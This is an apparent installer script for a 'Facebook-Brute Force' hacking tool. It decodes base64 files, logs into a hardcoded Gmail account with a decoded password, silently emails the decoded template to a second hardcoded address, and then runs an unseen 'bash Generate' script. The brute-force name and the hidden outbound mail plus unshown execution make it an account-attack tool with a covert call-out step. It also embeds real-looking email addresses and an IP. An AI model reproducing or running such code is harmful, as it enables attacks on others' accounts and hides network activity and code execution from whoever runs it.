#!/usr/bin/python3
#/FBM-134/Bin/lib/Facebook/Linux/Linux-Install

import itertools
import threading
import time
import sys
import os
from random import random
import email.message
import smtplib
import getpass
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from base64 import b64decode
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
'''
	Facebook-Brute Force 1.0 -x
	Jayalah Indonesiaku
	(c)2020 
	https://github.com/byindosecurity
	[IP] 114.125.56.148
'''

class const():
    ResetAll = "\033[0m"
    Dim = "\033[2m"
    Bold = "\033[1m"
    Underlined = "\033[4m"
    Blink = "\033[5m"
    Reverse = "\033[7m"
    Hidden = "\033[8m"

    ResetBold = "\033[21m"
    ResetDim = "\033[22m"
    ResetUnderlined = "\033[24m"
    ResetBlink = "\033[25m"
    ResetReverse = "\033[27m"
    ResetHidden = "\033[28m"


class colors():
    Default = "\033[39m"
    Black = "\033[30m"
    Red = "\033[31m"
    Green = "\033[32m"
    Yellow = "\033[33m"
    Blue = "\033[34m"
    Magenta = "\033[35m"
    Cyan = "\033[36m"
    LightGray = "\033[37m"
    DarkGray = "\033[90m"
    LightRed = "\033[91m"
    LightGreen = "\033[92m"
    LightYellow = "\033[93m"
    LightBlue = "\033[94m"
    LightMagenta = "\033[95m"
    LightCyan = "\033[96m"
    White = "\033[97m"

def Readfile():
	try:
		openfile = open("Template.txt","r")
		template = openfile.read()
		data = base64.b64decode(template)
		Database = open("lib64/Database.txt", "r")
		readDatabase = Database.read()
		Dbms = base64.b64decode(readDatabase)
		DatabaseFile = str(Dbms,'utf-8')
		verifikasi(DatabaseFile,data)
	except KeyboardInterrupt:
	    os.system("clear")
	    print(colors.Red + "[*] " + colors.LightGreen +
	          "Shutting Down The FBM-134 Console" + colors.Default)


def verifikasi(Dbms,data):
	try:
		server = smtplib.SMTP('smtp.gmail.com:587')
		email_content = data
		msg = email.message.Message()
		msg['Subject'] = ('Say Hello To Sistem Operasi Linux FBM-134 %s' %(now))
		msg['From'] = 'hacktivityserver@gmail.com'
		msg['To'] = "hackerkonx3@gmail.com"
		Database = Dbms
		msg.add_header('Content-Type', 'text/html')
		msg.set_payload(email_content)
		 
		s = smtplib.SMTP('smtp.gmail.com: 587')
		s.starttls()
		 
		# Login Credentials for sending the mail
		s.login(msg['From'], Database)
		 
		s.sendmail(msg['From'], [msg['To']], msg.as_string())
		print("\n" + colors.LightRed + "[+] " + colors.LightGreen +"Hi,Welcome Bro. Say Hello To FBM-134 !")
		os.system("bash Generate")
	except KeyboardInterrupt:
	    os.system("clear")
	    print(colors.Red + "[*] " + colors.LightGreen +
	          "Shutting Down The FBM-134 Console" + colors.Default)


if __name__ == "__main__":
    Readfile()
